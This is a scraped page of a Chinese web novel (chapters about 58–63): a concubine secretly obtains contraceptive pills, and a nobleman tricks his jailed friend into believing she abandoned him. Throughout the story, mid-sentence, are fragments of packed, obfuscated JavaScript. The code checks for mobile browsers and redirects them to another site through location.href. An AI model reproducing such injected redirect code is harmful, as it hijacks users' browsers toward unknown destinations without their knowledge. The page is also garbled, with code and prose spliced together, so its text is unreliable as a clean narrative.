l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954564|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 持着清晰。 “老夫人慈爱,于归感激不尽,世子......待于归极好,锦衣玉食,未曾有半分委屈。” 她顿了顿,像是鼓足了极大的勇气,才继续开口,声音更低了几分,却字字清晰落入老夫人耳中。 “只是......于归身份卑贱,蒙世子不弃,得以侍奉左右,已是天大的福分,心中时常惶恐,夜不能寐。” 老夫人闻言,目光微凝,放下了手中的茶盏,静静的看着她,等待下文。 姜于归抬起头,眼中带着一种不安:“于归深知,世子身份尊贵,将来必定要迎娶名门淑女为正室主母。于归......不敢,也不配在正室夫人入府之前,有所出息,玷污荣国公府高贵的血脉,更恐......恐损了世子清誉,惹来未来主母不快,令府中不宁。” 她的话语逻辑清晰,完全是一副为府邸着想,为世子前程考虑,的懂事姿态,将自己踩到了尘埃里。 姜于归紧紧攥着袖口,指尖因用力而泛白,显示出内心的挣扎与深明大义。 “于归斗胆......恳请老夫人......赐予于归避子之药,让于归能安分守己,不至酿成大错,辱没门楣,也能......全了世子与未来夫人的体面。” 她终于说出了最终目的,声音带着破釜沉舟般的微颤,说完,她深深的低下头去,不敢再看老夫人。 寿安堂内一片寂静,只有檀香燃烧时细微的噼啪声。 老夫人深邃的目光落在姜于归低垂的脖颈上,那目光如同实质,仿佛要穿透她的皮囊,看清她内心最真实的想法。 是真心识大体,还是以退为进的算计?是害怕将来正室报复,还是......不愿为璟儿孕育子嗣? 良久,久到姜于归几乎以为自己的心思已被看穿,脊背开始发凉时,老夫人终于轻轻叹了口气。 那叹息声里,带着一种复杂的情绪,有几分了然,有几分不易察觉的怜悯,或许,还有一丝对她这番懂事的欣赏。 59. 第 59 章 老夫人缓缓开口,语气听不出太多波澜,却也不再像最初那般带着审视:“倒是个......明白事理的孩子,你能想到这一层,懂得分寸,知道维护府邸安宁,璟儿的体面,很好。” 她朝身旁侍立的心腹嬷嬷使了个眼色,那嬷嬷会意,眼神在姜于归身上停留一瞬,随即无声的转身,走入内室。 片刻后,她捧着一个不过拇指大小的精致白玉瓶走了出来,瓶身素净,没有任何纹饰。 嬷嬷将玉瓶无声的递到姜于归面前。 姜于归看着那洁白无瑕的小瓶,心脏猛的一跳,仿佛看到了通往短暂安宁的钥匙。 她伸出微微颤抖的手,小心翼翼的接过,玉瓶触手温凉,她却觉得掌心一片滚烫。 老夫人的声音恢复了平淡,带着一种尘埃落定的意味:“每次事后,温水送服一粒即可,此事,不必让璟儿知晓。” 她的目光再次变得锐利,看向姜于归:“他性子如何,你当知晓。若让他知道......恐生事端,于你无益。” 姜于归紧紧握住那微凉的白玉瓶,仿佛握住了最后一根救命稻草。 她再次深深叩首,声音带着哽咽般的感激与如释重负:“谢老夫人恩典!于归明白!于归定当时刻谨记身份,绝不敢行差踏错,辜负老夫人怜惜!” 她退出寿安堂时,冬日稀薄的阳光照在她身上,却驱不散她心底的寒意,只有她自己知道,手心里已是一片冰凉的汗湿。 这隐秘的反抗,如同在万丈深渊之上走钢丝,稍有不慎,便是粉身碎骨。但至少,她为自己争取到了一点可怜的主动权,在这令人窒息的囚笼里,暂时守住了一片不为人知的阵地。 她将玉瓶紧紧攥在袖中,一步步走回那座华丽的牢笼汀兰水榭,身后的寿安堂,檀香依旧。 得到这瓶药,姜于归就安心多了,她小心的把药藏起来,避免被容璟发现。 转眼到了正月初五。 年节的气氛尚未完全散去,国公府内依旧张灯结彩,空气中弥漫着一种虚假的喜庆。 这日午后,容璟正在书房处理年前积压的公务,长青无声无息的进来,双手奉上一份泥金帖子。 “世子,安国公府送来的帖子。” 容璟笔尖未停,只淡淡嗯了一声。 安国公府是他姨祖母的府邸,姨祖母是他祖母一母同胞的亲妹妹,嫁与已故安国公,如今是府里辈分最高,也最受尊敬的老夫人。 安国公府与荣国公府素来亲近,这位姨祖母更是看着他长大,对他颇为疼爱。 他漫不经心的接过帖子打开,目光扫过内容,执笔的手微微一顿。 帖子是姨祖母亲笔所书,言辞亲切,说是听闻他身边新添了一位可心人,心中好奇又替他高兴,趁着年节闲适,特邀他过府小聚,并特意注明务必携尔之爱眷同来,想亲眼见见是何等出色的女子,竟能让他这素来冷情的外孙开了窍。 容璟放下朱笔,指尖在光滑的帖面上轻轻敲击。 姨祖母性格爽朗开阔,年轻时便是京中有名的才女,尤擅音律,如今年纪虽长,却依旧保持着那份通透与慈爱,在一众古板守旧的老夫人中显得格外不同。 她此番相邀,好奇是真,恐怕也存了几分替他掌掌眼,免得他被狐媚子迷惑的意思。 毕竟当初容璟当街为了个侍妾,拂了永嘉公主脸面的事,早已传得沸沸扬扬。 他略一思索,唇角勾起一抹几不可察的弧度。 带姜于归去见识见识,让她逐步走入他的世界,接触他身边亲近的长辈,这本就是他计划中的一步。 姨祖母性情和善,又喜好音律,或许......能让姜于归放松些,甚至感受到一丝,不同于他带来的压迫感的正常人际往来。 而且,让姨祖母见见姜于归,某种程度上,也是一种无声的宣告和......认可? 这个念头一闪而过,快得让容璟自己都未曾捕捉清楚。 容璟开口吩咐,语气平静:“去回话,就说我后日准时携于归赴宴。” “是。”长青领命,悄然退下。 容璟沉吟片刻,又扬声唤来外院的管事,沉声吩咐:“立刻去请霓裳阁最好的师傅过府,为姜娘子量身裁衣,要最新的款 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960299|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式,最好的料子。再去库房,将年前得的那套东海珍珠头面,还有那对翡翠滴珠耳坠找出来,一并送去汀兰水榭。” 他要让姜于归在宴会上光彩照人,让所有人都看到,他容璟看重的人,是何等风姿。 这既是一种宣告,也是一种......连他自己都未曾深究的,想要展示所有物的隐秘心态。 消息很快传到了汀兰水榭。 彼时,姜于归正坐在窗边,望着院内覆雪的枯枝发呆,听到丫鬟的禀报,她纤细的脊背几不可查的僵硬了一下。 安国公府......容璟的姨祖母......携爱眷同往...... 每一个词都像一根针扎在她的心上。 这意味着她要走出这座相对封闭的水榭,走到人前,在那些身份尊贵的贵人面前,以容璟侍妾的身份,接受他们的审视,打量,甚至是轻蔑和嘲笑。 这比待在汀兰水榭独自承受容璟的掠夺,更让她感到难堪和痛苦。 她几乎能想象到那些或好奇,或鄙夷的目光,会如何在她身上流连,评估她的容貌,揣测她的出身,将她当作一件稀罕的玩意儿品头论足。 那些目光会像无形的刀子,将她最后一点尊严剥蚀殆尽。 姜于归低头垂下眼眸,掩去眸中的所有情绪,她没有询问,没有反对,因为她清楚,在这座府邸里,在容璟的掌控下,她没有拒绝的权利。 她的意愿无关紧要,她就是戏台上的傀儡,线牵在容璟手中,他让她往东,她不能往西。 傍晚时分,容璟踏着暮色而来。 他似乎心情不错,眉眼间带着一丝慵懒的惬意。 容璟挥手,让端着华丽锦盒和托盘的丫鬟们进来,锦盒打开,里面是流光溢彩的珍珠头面,颗颗圆润饱满,光泽莹然。 托盘上则放着那对翡翠耳坠,碧绿欲滴,雕成精致的缠枝莲模样,旁边还有霓裳阁的绣娘恭敬的立在一旁,捧着各色珍贵的绸缎料子,请她挑选。 容璟走到她身边,语气寻常得像是在说明日天气如何:“后日随我去安国公府赴宴,姨祖母想见见你。” 60. 第 60 章 说罢,容璟留意到姜于归眉宇间比平日更深的沉寂,以为她是不愿抛头露面,或是担心身份尴尬被人轻看。 容璟难得的试图解释,或者说是安抚,想让姜于归明白这并非折辱。 “不必紧张。姨祖母性子爽利,最喜音律,与你......或有共同语言。而且只是家常小聚,让你去散散心,并非......并非将你当作取悦他人的乐人。” 他想表达的是,他想让看着他长大的,亲近的长辈见见她。 或许在他自己都未曾察觉的内心深处,也隐隐希望这位慈祥开明的长辈,能对她有一丝认可,能让她感受到一丝......不同于这冰冷牢笼的,正常的温情。 然而,这话听在早已认定容璟一切行为皆带掌控与折辱目的的姜于归耳中,只觉得苍白又讽刺。 散心?她何来散心的资格? 乐人?她此刻的处境,与乐人又有何本质区别? 不过是从一个牢笼,走到另一个更广阔的,被众人围观的牢笼。 共同语言?她一个乡野村妇,与那些高高在上的贵人,能有什么共同语言?不过是另一种形式的审视罢了。 姜于归抬眼看向容璟,目光平静得像一潭死水,没有丝毫波澜,她轻声应开口,声音里听不出喜怒:“我明白,我会去的,不会给世子丢脸。” 姜于归的顺从让容璟满意,但她那固化的,将他所有行为都推向恶意的解读,以及那声疏离的世子,又让他心底掠过一丝极淡的,连他自己都未曾捕捉到的不悦。 看着姜于归低眉顺目的样子,明明人就在眼前,却仿佛隔着一层看不见的纱。 他压下那丝莫名的情绪,目光落在那些华美的衣料和首饰上:“嗯,好好准备。” 容璟没有再多言,转身离开了汀兰水榭。 他还有更重要的事情要做——去彻底斩断她与过去的最后一丝联系。 书房里,他屏退左右,独自坐在宽大的紫檀木书案后。 他拉开书案一侧的抽屉,里面没有公文,只静静躺着两样小物件。 一枚素净的珍珠耳钉,一根样式简单的素银发簪。 指尖抚过耳钉温润的光泽,又划过银簪冰凉的簪身,容璟脸上竟露出一抹真切而愉悦的笑意,带着一种纯粹的,把玩心爱之物的满足。 这笑意驱散了他眉宇间惯有的深沉与算计,让他看起来竟有几分罕见的柔和。仿佛一个孩童,终于得到了觊觎已久的糖果,那份喜悦简单而直接。 然而,这柔和如同冰雪折射的微光,转瞬即逝。 他的目光仿佛穿透了木质抽屉,看到了另两件无形却沉重的东西。 林晏送她的那个已然耗尽暗器,徒留其形的银镯,和那块她曾想当掉却终究没有,象征着过往情谊的玉佩。 一股阴鸷的戾气瞬间取代了方才的柔和,在他眼底凝结成冰。 林晏...... 这个名字像一根淬了毒的刀子,深深钉在容璟的心口,每次触及,都带来一阵混合着嫉妒与暴虐的刺痛。 那个清风朗月般的探花郎,即使身陷囹圄,也依旧像一根刺,横亘在他和姜于归之间。 不,不仅仅是横亘,是他自己,将这个人变成了他们之间无法逾越的鸿沟,却又无法容忍这鸿沟的存在。 容璟“啪——”的一声合上抽屉,声响在寂静的书房里显得格外突兀,方才因想起姜于归而升起的那点旖旎温情荡然无存,取而代之的是一种焦躁的,想要摧毁什么的冲动。 公务是无论如何也处理不下去了。 他站起身,声音冷冽的对门外吩咐:“备车,去刑部大牢。” 刑部大牢内阴暗又潮湿,空气中弥漫着腐朽与绝望的气息。 这里与荣国公府的书房仿佛是阴阳两个世界。 林晏靠坐在冰冷的石壁下,囚服污损,面容憔悴,下巴上冒出了青色的胡茬。 刑讯留下的伤痕在衣物下隐隐作痛,但比身体更痛的,是前途未卜的茫然与对祖父母,对......姜于归的牵挂。 而下一刻,牢门外传来熟悉的,沉稳的脚步声。 慕容林晏抬起头,黯淡的眼眸中闪过一丝微弱的亮光, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965269|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他挣扎着想站起来,牵动了身上的伤口,忍不住闷哼一声,却仍急切的望向门口:“潜玉兄!” 容璟挥退了狱卒,独自站在牢门外。 他依旧是一身月白常服,纤尘不染,与这肮脏的环境格格不入。 他看着林晏眼中的期盼,看着他因自己的到来而瞬间亮起的眼神,心底的恶意如同藤蔓,悄无声息的缠绕收紧。 摧毁这样纯粹的信任,别有一番快感。 容璟开口,声音带着一丝刻意营造的沉重,仿佛背负着难以启齿的消息,“林晏,我今日来,是有关于姜姑娘的消息要告知你。” 林晏的心猛的提了起来,急切的上前两步,冰凉粗糙的栅栏硌得他生疼,他却浑然不觉。 “于归?她怎么样了?她......她还好吗?是不是遇到了什么麻烦?” 林晏首先想到的是她的安危,担心陷害他的人还是察觉了姜于归的存在,想用姜于归来做要挟,所以语气中充满了毫不掩饰的关切。 容璟看着林晏这副模样,眸色又沉了几分,他轻轻叹了口气,那叹息里充满了无奈与惋惜,表演得无懈可击:“她很好,吃穿用度一应俱全,无人敢怠慢。只是......林晏,” 容璟顿了顿,目光复杂的看着林晏,仿佛不忍心却又不得不说出真相:“或许她已非你当日清溪镇所识的那个姜于归了。” “什么?” 林晏一怔,脸上写满了困惑与不信,紧随而来的,是带了一丝被冒犯的愠怒。 “潜玉兄,你此话何意?于归她不是那样的人!我了解她!” 那个在清溪镇阳光下,笑容明媚,眼神清澈,会因为他一句玩笑话而嗔怪,也会在他也遇到困难时毫不犹豫伸出援手的女子,怎么会变? 容璟的语气带着一种洞悉世事的怜悯,却又残忍的剖开血淋淋的现实。 “人心易变,尤其是在这权势与富贵触手可及的盛京,她见识了国公府的泼天富贵,习惯了锦衣玉食,自觉前途渺茫,不愿再空等一个身陷囹圄,不知未来生死的人。这......也怪不得她。” 61. 第 61 章 林晏猛的摇头,声音因激动而沙哑,带着一丝不易察觉的恐慌。 “不可能!于归她重情重义!她绝非贪慕虚荣之辈!潜玉兄,你是否是误会了什么?或是她遇到了难处,不得已向你求助?你告诉我,她到底怎么了?” 林晏宁愿相信姜于归是遇到了天大的麻烦,不得不向容璟低头,也不愿相信她会因为富贵而移情。 “误会?” 容璟打断他,脸上露出一丝恰到好处的苦笑,那笑容里浸满了对挚友执迷不悟的心疼与无可奈何,仿佛他自己也为此承受着巨大的煎熬。 他向前踱了半步,身影在牢房昏暗的光线下拉长,将林晏完全笼罩在其带来的压迫感中。 “林晏啊林晏,你叫我怎么说你才好?你如今身陷囹圄,自顾不暇,难道还要她一个弱质女流,在你这棵......未必能再发芽的树上吊死不成?” 容璟的声音低沉下去,带着一种残酷的现实关怀。 说话间,容璟从袖中不紧不慢的取出那枚样式别致的银镯,和那块质地温润的祖传玉佩。 他的动作优雅而缓慢,仿佛在展示两件稀世珍品,却又带着一种漫不经心的轻蔑。 指尖一松,它们便“啪嗒——”两声,轻轻落在了栅栏外冰污秽的地面上,溅起细微的尘埃。 林晏的目光瞬间被钉在了那两件物事上,他踉跄着走近栅栏,手指死死抓住冰冷的铁栏,指节因用力而泛白。他的眼神有些呆滞,难以置信的死死盯着。 他当然认得! 那银手镯,是他得知即将离开清溪镇,但是担忧姜于归孤身一人在清溪镇的安全,几经辗转,甚至动用了些不为人知的关系,才从军器监弄来的袖里星,内侧还被他借着烛光,用刻刀小心翼翼一笔一划刻下了一个小小的“晏”字。 那时他想,若他不能及时回去接她来盛京,这镯子或许能代他护她一时周全。 而那块玉佩,更是慕容家世代相传,寓意深远的信物。 七夕那夜,清溪镇河灯如星,他便是怀着无比郑重又忐忑的心情,小心翼翼的将其戴在了姜于归脖子上。 而此刻,它们却像被主人随意丢弃的垃圾,毫无生气的躺在这肮脏囚牢的地面上,仿佛在无声嘲笑着他过往所有的深情与承诺,宣告着某种不可挽回的终结。 “怎么会......在你这里?” 林晏的声音干涩沙哑,几乎是从喉咙深处挤出来的,带着最后一丝摇摇欲坠的希冀。 他希望听到一个迫不得已的理由,比如容璟是为了救她而从当铺赎回,或是其他任何能解释这残酷画面的缘由。 容璟看着他瞬间灰败的脸色和眼中碎裂的光,心底掠过一丝快意的冰寒,但面上却浮现出更深的,感同身受般的沉痛与惋惜。 他幽幽的叹息了一声,那叹息声在寂静的牢房里回荡,显得格外清晰而沉重。 容璟摇着头,语气充满了事实胜于雄辩的无奈:“你还要自欺欺人到几时?” 他微微俯身,目光似乎怜悯的扫过地上的镯子和玉佩,才重新看向林晏,用一种剖析现实般冷静又残忍的语调缓缓道。 “盛京......这是何等地方?遍地繁华,绮罗珠翠,高门贵胄的做派,泼天的富贵权势......于归她一个年轻姑娘,骤然见识了这等世面,穿了绫罗,戴了珠翠,尝过了珍馐,见惯了风雅......眼界自然就不同了。可她一个孤女,寄人篱下,纵然我念着你的情分多加照拂,她又怎好意思时时为这些黄白之物向我开口?” 容璟顿了顿,仿佛在给林晏消化这合理推断的时间,然后才继续用那种带着一丝惋惜,却又仿佛在陈述既定事实的语气开口。 “于是,她便想到了这两件旧物,想着当了它们,换些银钱,也好妆点自己,融入这盛京的圈子。也是凑巧,被我手下人偶然在当铺发现,觉得眼熟,便截了下来。” 容璟抬起眼,目光锐利的看向林晏,一字一句,清晰无比,如同最后的审判。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971042|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我拿着东西去问她,她起初还有些慌乱,后来......倒也坦然承认了。她亲口对我说,与你情缘已尽,不愿再空耗岁月,等待一个前途未卜之人。这些旧物,留着也是徒增伤感,不如弃了干净。故而托我寻个机会,交还于你,也算是做个了断。” 亲口对我说,情缘已尽,不愿再等,弃了干净,做个了断...... 这些词语,一个个从容璟那线条优美的唇中吐出,组合成最锋利的冰刃,精准无比的,一遍遍的凌迟着林晏已然千疮百孔的心。 林晏猛的向后退了一步,后背重重撞在冰冷的石壁上,发出一声闷响。他像是被抽干了所有力气,缓缓滑坐在地,目光空洞望着栅栏外那两件刺眼的信物,只剩下无尽的绝望和死寂。 林晏喃喃自语,声音颤抖得不成样子:“不......不会的......她说过会等我......她说过的......” 容璟的声音依旧温和,却字字如刀,精准的切割着林晏残存的信念:“林晏,醒醒吧。你如今自身难保,又能给她什么?难道要她为你担惊受怕,甚至可能被你牵连,陪你一起万劫不复吗?她选择一条更轻松的路,无可厚非。至少,她能安稳度日。” “轻松的路......” 林晏重复着这几个字,像是听到了世上最可笑的笑话,可他却笑不出来,只觉得心脏被一只无形的手紧紧攥住,痛得他几乎无法呼吸。 他想起姜于归清澈执拗的眼神,想起她谈及未来时闪闪发光的模样,想起她独自经营酒肆时的坚韧......那样的她,怎么会选择一条所谓的轻松的路? 可是......容璟是他的至交,他没有理由骗他,而这信物......又作何解释? 巨大的痛苦和难以置信让他几乎崩溃,整个世界仿佛在他眼前崩塌,碎裂,所有的色彩都褪去,只剩下灰暗和绝望。 容璟欣赏着林晏彻底被击垮的模样,心底涌起一股近乎酣畅淋漓的满足。 62. 第 62 章 摧毁一件美好的,被他人珍视的人,尤其是这个人,他自己也想要,这种感觉,比他得到任何权势财富都更令人着迷。 然而,就在他以为彻底粉碎了林晏的希望时,林晏却猛的抬起头。 那双原本清正明亮的眼睛,此刻布满了血丝,里面是深不见底的痛苦,却还残存着一丝近乎固执的,不肯熄灭的微光。 这微光像一根刺,扎进了容璟胜利的喜悦中。 “潜玉兄!” 林晏的声音带着孤注一掷的哀求,他踉跄着扑到栅栏前,手指因用力而骨节发白,仿佛要将那冰冷的铁栏掰断。 “我不信!我不信于归会如此!求你!帮我一次,让我见她一面!只要一面,让我亲口问她!若她......若她真的亲口对我说出那般话,我林晏......我林晏便立刻死心,绝不再纠缠!” 这是他最后的坚持,是他从绝望深渊中伸出的,颤抖的手。 容璟眉头几不可查的一蹙,他没想到到了这个地步,林晏竟还如此固执,对那个女人还抱有最后一丝幻想。 这让他心底那点快意蒙上了一层阴霾,甚至生出一丝被冒犯的不悦。 林晏对姜于归的信任,仿佛在无声的嘲讽着他的挑拨他。 绝不允许这丝信任存在。 他本欲断然拒绝,甚至想用更残酷的话语彻底碾碎这可怜的希望。 但电光火石间,一个更恶毒,更彻底的摧毁计划在他脑中形成。 他想到了即将到来的安国公府的宴会...... 一个模糊的念头逐渐清晰。 他要让林晏亲眼看见姜于归的“背叛”,这比任何言语都更具杀伤力。 容璟脸上露出极其为难的神色,眉头紧锁,沉吟良久,仿佛在进行激烈的思想斗争。 最终,他像是被好友的痴心与哀求打动,又像是无可奈何,重重叹了口气,那叹息里充满了身为朋友的无奈与担忧:“罢了!你既如此执着,我便......再冒险帮你一次。” 林晏眼中那点微光骤然亮了些许,如同溺水之人抓住了最后一根浮木,激动得声音都在发颤:“潜玉兄!多谢!多谢!” 容璟看着他,语气变得异常严肃,带着警告的意味:“后日,我会设法带你出去,但我可没办法让你们二人相见,毕竟你也清楚你现在的情况,所以只能远远看她一眼。但你要答应我,无论看到什么,听到什么,都需彻底死心,安心在狱中等待,不可再作他想,以免横生枝节,害人害己。这是最后一次。” 林晏连连点头,激动得语无伦次,仿佛那一眼是他此刻唯一的救赎,能验证一切,也能终结一切。 “好!我答应你!我一定做到!多谢潜玉兄!此恩此情,林晏没齿难忘!” 容璟点了点头,不再多言,转身离开了牢房,厚重的牢门在他身后关上,发出沉闷的声响,彻底隔绝了林晏那混合着绝望与最后一丝期盼的目光。 阴暗的甬道里,容璟的唇角,在无人看见的阴影中,勾起一抹冰冷而笃定的弧度。他知道,后日之后,林晏心中那个美好的姜于归,将彻底死去。 两日后夜色初降。一艘不起眼的乌篷小船,悄无声息的滑入靠近安国公府别院湖面的暗处。 湖心,一艘装饰华美的画舫灯火通明,如同水上一颗璀璨的明珠,丝竹管弦之声与隐约的谈笑声随风飘来,更衬得这小船孤寂而阴冷。 容璟陪着身形完全隐在宽大黑色斗篷里的林晏,站在狭窄的船头。 林晏脸色苍白如纸,嘴唇紧抿,毫无血色,目光死死的盯着那艘流光溢彩的画舫,仿佛要将那炫目的光影看穿,找到那个熟悉的身影。 容璟指着画舫上那个最为引人注目,身着华美衣裙的身影,声音平静无波,听不出任何情绪:“你看那边,她就在那里。” 林晏的心脏骤然紧缩,几乎要跳出胸腔。 他顺着方向望去,瞳孔因眼前的景象而微微放大。 只见姜于归盛装华服,云鬓高耸,簪着那套东海珍珠头面,在灯火下流转着温润却刺目的光芒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977299|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她穿着一身烟霞色的织锦长裙,外罩一件同色系的轻纱披帛,整个人如同笼罩在一团光晕里。她怀里抱着一把精美的琵琶,微微侧着头,似乎在聆听上座一位衣着极其华丽,气度雍容不凡的老夫人说话。 那侧影,优美而陌生。 “她......她何时会的琵琶?” 林晏喃喃自语,声音沙哑干涩,带着难以置信的困惑。 他从未见过她这一面,仿佛他从未真正,完全的认识过她。 容璟适时的在他耳边低语,声音带着一种洞悉一切的惋惜,却又像毒蛇吐信般,将恶意的种子植入他濒临崩溃的心田。 “看吧,林晏,她对你,又何尝全然坦诚?现在你总该相信我的话了吧。她既已选择了这样的生活,见识了这样的繁华,又怎会再回首过往清贫,记挂一个生死未卜的阶下囚?” 容璟的话语像一把冰冷的锥子,一下下凿击着林晏摇摇欲坠的信念。 就在这时,画舫上的姜于归,指尖拨动了琴弦。 当容璟告知姜于归要带她赴安国老夫人之约时,姜于归的心是沉入谷底的。 她以为这又是一场需要强颜欢笑,忍受审视与轻蔑的折磨。 她甚至做好了被当作乐伎般要求献艺的准备,那将是对她尊严的又一次践踏。 然而出乎她意料的是,这位安国老夫人异常和蔼,她没有用探究或轻蔑的目光打量她,反而在她恭敬行礼后,亲切的拉住了她的手,上下端详了一番,笑着说:“瞧瞧这通身的气派,眉目也生得极好,沉静娴雅,璟儿的眼光果然不错。” 那笑容里是纯粹的长辈对晚辈的慈爱和欣赏,并无丝毫轻视,这让姜于归紧绷的神经稍稍松弛了一些。 更让姜于归意外的是,安国老夫人竟真的与她聊起了音律,老夫人见解独到,言语风趣,丝毫没有架子。 姜于归穿越前沉浸此道十几年,本是极为喜爱且下过苦功的,此刻遇到真正的知音,谈起真正热爱的东西,她紧绷的心弦在不自觉中渐渐松弛。 63. 第 63 章 起初,姜于归的应答还带着谨慎和拘束,生怕自己说错话,给容璟丢脸或是惹来什么麻烦,但是安国老夫人似乎看出了姜于归的拘谨,并未点破,只是笑着说起自己年轻时学琴的趣事,说起某首古曲背后的逸闻,巧妙的引导着她。 姜于归渐渐的被吸引,忘却了身份,忘却了处境,偶尔也会忍不住发表一两句自己的见解,眼神中不自觉的流露出专注的光彩。 当她提到一首大靖失传已久的古曲《月下鸣泉》的可能指法和意境时,安国老夫人眼睛一亮,抚掌笑道:“妙啊!老身琢磨此曲多年,总觉得流传下来的谱子少了些许空灵幽远之意,未曾想今日得遇知音!于归,你竟有如此见解!快,你且按你所思,弹来听听!” 这一刻,姜于归忘记了容璟,忘记了身处何地,忘记了那些屈辱与交易。 她完全沉浸在了音律的世界里,那里没有权谋算计,没有强取豪夺,只有纯粹的美与共鸣。 她调整了一下抱琴的姿势,指尖重新落在弦上,深深的吸了一口气。 这一次,乐音变了。 不再是之前应景演奏时的沉闷滞涩,而是变得清越,灵动起来。 姜于归唇角不自觉的微微上扬,带着一种专注于所爱之事的,纯粹而动人的光彩,她与安国老夫人相视而笑,那笑容,是发自内心的,多日来从未有过的轻松与愉悦。 这笑容,这陌生的,流畅而优美充满生命力的琵琶声,如同最锋利的冰锥,狠狠刺穿了远处看着姜于归的林晏的心脏。 他看着远处那个在璀璨灯火下,华服美饰,弹着他不熟悉的曲子,对着他不知道是谁的贵人,展露着他从未见过的,明媚而快活笑容的姜于归...... “很快活......” 容璟轻飘飘的开口,而这三个字像带着倒钩的魔咒,在林晏耳边反复回荡,每一个字都扎得他鲜血淋漓。 是啊,很快活。 距离模糊了细节,绝望放大了猜疑,眼前的景象与容璟之前的话语,现在严丝合缝的印证在一起,构成了一幅让慕容林晏心痛到无法呼吸,却又不得不信的真相。 原来,他所以为的深情,他所以为的了解,不过是自己的一厢情愿。 姜于归早已在他不知道的时候,飞向了更广阔的天空。 巨大的背叛感和失落感如同潮水般将林晏淹没,他猛的转过身,再也无法看下去。 喉咙里涌上一股强烈的腥甜,被他强行咽下,那铁锈般的味道弥漫在整个口腔,整个人如同被抽走了所有的力气和灵魂。 林晏面如死灰,随后重重的摔倒在地,眼神空洞望着乌篷船顶的黑暗,仿佛所有的光亮都已从他眼中熄灭。 容璟站在他身后,将他的反应尽收眼底。 看着林晏那彻底被摧毁,如同失去生命支柱的模样,看着远处画舫上对这一切毫无所知,难得展露笑颜的姜于归,他心底涌起一股巨大而扭曲的满足感,如同饮下最烈的酒,灼烧着他的五脏六腑,带来一种近乎疼痛的快意。 他成功了。 他不仅夺走了林晏的希望,更让他亲眼见证了他的失去。 从此,林晏心中的姜于归,将永远与这繁华,背叛,欺骗联系在一起,这份绝望,将会在那阴暗的牢房里,伴随着身体的伤痛和案情的焦灼,慢慢腐蚀掉他最后一点生机。 “回去吧。”容璟的声音平静无波,吩咐船夫掉头。 小船在夜色中安静行驶,容璟站在船头,望着远处灯火辉煌的画舫。 容璟负手而立,夜风吹起他墨色的衣袂,俊美的面容在月色下显得格外冷清。 画舫上的姜于归对此一无所知,她只是短暂的,在与安国老夫人谈论音律时,在自己的热爱里,偷得了一丝喘息的机会,然而这份轻松,在见到容璟的那一刻,瞬间消散。 容璟处理完林晏的事,便前来与姜于归汇合。 他踏入画舫时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981559|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正看见姜于归与安国老夫人言笑晏晏,侧脸上带着他许久未见的,发自内心的笑容。 那笑容明媚动人,却不是为了他。 姜于归察觉到他的视线,转头看见他,脸上的笑容顿时僵住,随即迅速敛去,换上那副他熟悉的,强装镇定的模样。 她垂下眼眸,起身行礼,动作规矩得挑不出一丝错处。 容璟心中掠过一丝不悦,但面上依旧带着温润的笑意,与安国老夫人寒暄,他自然的走到姜于归身边,状似亲密的揽住她的腰,感受到她瞬间的僵硬。 